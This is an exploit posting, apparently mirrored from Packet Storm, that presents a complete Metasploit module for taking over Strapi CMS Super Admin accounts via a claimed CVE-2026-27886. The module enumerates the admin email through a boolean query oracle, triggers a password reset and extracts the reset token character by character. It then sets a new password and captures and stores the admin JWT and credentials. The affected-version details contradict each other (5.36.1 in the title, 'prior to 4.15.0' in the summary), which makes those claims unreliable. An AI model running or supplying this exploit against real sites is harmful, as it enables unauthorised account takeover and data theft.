Share
## https://sploitus.com/exploit?id=PACKETSTORM:225151
==================================================================================================================================
| # Title : Strapi CMS 5.36.1 Super Admin Account Takeover via Boolean Oracle & Password Reset Token Extraction |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://strapi.io/ |
==================================================================================================================================
[+] Summary : a critical authentication bypass vulnerability in Strapi CMS (versions prior to 4.15.0).
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Strapi CMS CVE-2026-27886 Super Admin Account Takeover',
'Description' => %q{
This module exploits a critical vulnerability in Strapi CMS (CVE-2026-27886)
that allows unauthenticated attackers to take over the Super Admin account.
The vulnerability chain:
1. Boolean-based oracle via $startsWith parameter bypass
2. Admin email enumeration using updatedBy relation
3. Password reset token extraction (40 characters)
4. Complete account takeover with Super Admin JWT
This affects Strapi versions prior to 4.15.0.
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-27886'],
['URL', 'https://bishopfox.com/blog/strapi-cve-2026-27886'],
['URL', 'https://docs.strapi.io/dev-docs/security/2026-27886']
],
'DisclosureDate' => '2026-03-15',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS] # Makes ~800+ requests
}
))
register_options([
OptString.new('TARGET_URI', [true, 'Strapi Content API endpoint', '/api/articles']),
OptString.new('ADMIN_EMAIL', [false, 'Admin email (skip enumeration if known)', nil]),
OptString.new('NEW_PASSWORD', [true, 'New password for admin account', 'Pwned@123456!']),
OptEnum.new('RELATION', [true, 'Relation field for email enumeration', 'updatedBy',
['updatedBy', 'createdBy', 'author', 'owner']]),
OptInt.new('THREADS', [true, 'Number of threads for brute force', 1]),
OptFloat.new('DELAY', [true, 'Delay between requests (seconds)', 0.0]),
OptBool.new('VERIFY_ONLY', [false, 'Only verify vulnerability', false]),
OptBool.new('EXTRACT_TOKEN', [true, 'Extract reset token via oracle', true]),
OptString.new('PROXY', [false, 'HTTP proxy', nil]),
OptInt.new('TIMEOUT', [true, 'HTTP timeout (seconds)', 30])
])
register_advanced_options([
OptString.new('EMAIL_ALPHABET', [true, 'Alphabet for email brute force',
'@.+-abcdefghijklmnopqrstuvwxyz0123456789']),
OptString.new('TOKEN_ALPHABET', [true, 'Alphabet for token brute force',
'0123456789abcdef']),
OptInt.new('MAX_EMAIL_LEN', [true, 'Maximum email length', 64]),
OptInt.new('MAX_RETRIES', [true, 'Maximum retry attempts', 3])
])
end
def setup
@email_alphabet = datastore['EMAIL_ALPHABET'].chars
@token_alphabet = datastore['TOKEN_ALPHABET'].chars
@relation = datastore['RELATION']
@delay = datastore['DELAY']
@timeout = datastore['TIMEOUT']
@max_retries = datastore['MAX_RETRIES']
end
def get_total_count(endpoint, params = {})
"""Make request and return pagination.total"""
uri = normalize_uri(endpoint)
if !params.empty?
uri += "?#{params.to_query}"
end
retries = 0
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
}, @timeout)
if res && res.code == 200
begin
json = JSON.parse(res.body)
total = json.dig('meta', 'pagination', 'total') || 0
return total.to_i
rescue JSON::ParserError
vprint_error("Non-JSON response: #{res.body[0..100]}")
return 0
end
elsif res
vprint_error("HTTP #{res.code} from #{uri}")
return 0
else
raise Rex::ConnectionError
end
rescue Rex::ConnectionError => e
retries += 1
if retries <= @max_retries
print_warning("Connection error, retry #{retries}/#{@max_retries}")
sleep(2)
retry
else
print_error("Failed after #{@max_retries} retries: #{e.message}")
return 0
end
end
end
def verify_vulnerable(endpoint)
"""Check if target is vulnerable using differential test"""
print_status("Verifying vulnerability...")
baseline = get_total_count(endpoint, {})
where_test = get_total_count(endpoint, {"where[id][$lt]" => "-1"})
vulnerable = baseline > 0 && where_test == 0
if vulnerable
print_good("Vulnerable: baseline=#{baseline}, where_test=#{where_test}")
else
print_error("Not vulnerable: baseline=#{baseline}, where_test=#{where_test}")
end
vulnerable
end
def enumerate_admin_email(endpoint)
"""Brute force admin email using $startsWith oracle"""
print_status("Enumerating admin email...")
known = ""
progress = 0
(0...datastore['MAX_EMAIL_LEN']).each do |position|
found = false
@email_alphabet.each do |char|
candidate = known + char
params = {
"where[#{@relation}][email][$startsWith]" => candidate
}
if get_total_count(endpoint, params) > 0
known += char
found = true
progress = position + 1
print_status("Email: #{known} (#{progress} chars)")
break
end
sleep(@delay) if @delay > 0
end
break unless found
end
if known.empty?
print_error("Failed to enumerate admin email")
return nil
end
print_good("Found admin email: #{known}")
known
end
def trigger_password_reset(base_url, email)
"""Trigger password reset flow"""
print_status("Triggering password reset for #{email}...")
forgot_url = normalize_uri(base_url, '/admin/forgot-password')
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => forgot_url,
'ctype' => 'application/json',
'data' => { 'email' => email }.to_json
}, @timeout)
if res && (res.code == 204 || res.code == 200)
print_good("Password reset triggered (HTTP #{res.code})")
return true
elsif res
print_error("Unexpected response: HTTP #{res.code}")
return false
else
return false
end
rescue => e
print_error("Failed to trigger reset: #{e.message}")
false
end
end
def extract_reset_token(endpoint)
"""Extract 40-character reset token via $startsWith oracle"""
print_status("Extracting 40-character reset token...")
token = ""
total_chars = 40
(0...total_chars).each do |position|
found = false
@token_alphabet.each do |char|
candidate = token + char
params = {
"where[#{@relation}][resetPasswordToken][$startsWith]" => candidate
}
if get_total_count(endpoint, params) > 0
token += char
found = true
percent = ((position + 1) * 100 / total_chars).to_i
print_status("[#{percent}%] Token: #{token}")
break
end
sleep(@delay) if @delay > 0
end
unless found
print_error("Failed to extract token at position #{position + 1}")
return nil
end
end
if token.length == total_chars
print_good("Token extracted: #{token}")
return token
else
print_error("Token extraction incomplete (#{token.length}/#{total_chars})")
return nil
end
end
def reset_password(base_url, token, new_password)
"""Reset password with stolen token to get JWT"""
print_status("Resetting password with stolen token...")
reset_url = normalize_uri(base_url, '/admin/reset-password')
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => reset_url,
'ctype' => 'application/json',
'data' => {
'resetPasswordToken' => token,
'password' => new_password
}.to_json
}, @timeout)
if res && res.code == 200
begin
json = JSON.parse(res.body)
jwt = json.dig('data', 'token')
user = json.dig('data', 'user')
if jwt
print_good("Password reset successful!")
print_good("JWT: #{jwt[0..50]}...")
print_good("User: #{user['email']} (ID: #{user['id']})") if user
return jwt
else
print_error("Response missing JWT token")
return nil
end
rescue JSON::ParserError
print_error("Invalid JSON response")
return nil
end
elsif res
print_error("Unexpected response: HTTP #{res.code}")
return nil
else
return nil
end
rescue => e
print_error("Failed to reset password: #{e.message}")
nil
end
end
def store_compromised_credentials(email, password, jwt)
"""Store stolen credentials in database"""
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: email,
private_data: {
password: password,
jwt: jwt
}.to_json,
private_type: :password,
service_name: 'Strapi CMS',
workspace_id: myworkspace_id
}
create_credential(credential_data)
print_good("Credentials stored in database")
end
def test_jwt_access(base_url, jwt)
"""Test if JWT provides admin access"""
print_status("Testing JWT access...")
admin_urls = [
'/admin/users',
'/admin/content-manager',
'/admin/settings'
]
admin_urls.each do |url|
uri = normalize_uri(base_url, url)
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'headers' => {
'Authorization' => "Bearer #{jwt}"
}
}, @timeout)
if res && res.code == 200
print_good("Access granted to #{url}")
return true
end
rescue
next
end
end
print_warning("JWT might not have admin privileges")
false
end
def run_host(ip)
endpoint = normalize_uri(target_uri.path, datastore['TARGET_URI'])
base_url = "#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}"
print_status("Target: #{base_url}")
print_status("Endpoint: #{endpoint}")
unless verify_vulnerable(endpoint)
print_error("Target is not vulnerable to CVE-2026-27886")
return
end
return if datastore['VERIFY_ONLY']
admin_email = datastore['ADMIN_EMAIL']
if admin_email.nil? || admin_email.empty?
admin_email = enumerate_admin_email(endpoint)
if admin_email.nil?
print_error("Failed to enumerate admin email")
return
end
else
print_status("Using provided admin email: #{admin_email}")
end
unless trigger_password_reset(base_url, admin_email)
print_error("Failed to trigger password reset")
return
end
unless datastore['EXTRACT_TOKEN']
print_status("Token extraction disabled by user")
return
end
reset_token = extract_reset_token(endpoint)
if reset_token.nil?
print_error("Failed to extract reset token")
return
end
new_password = datastore['NEW_PASSWORD']
jwt = reset_password(base_url, reset_token, new_password)
if jwt.nil?
print_error("Failed to reset password")
return
end
print_line("\n" + "="*60)
print_good("SUCCESS! Admin account compromised")
print_good("Email: #{admin_email}")
print_good("New password: #{new_password}")
print_good("JWT Token: #{jwt}")
print_line("="*60 + "\n")
test_jwt_access(base_url, jwt)
store_compromised_credentials(admin_email, new_password, jwt)
report_vuln({
host: rhost,
port: rport,
name: name,
refs: references,
info: "Strapi CMS Super Admin account takeover via CVE-2026-27886"
})
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================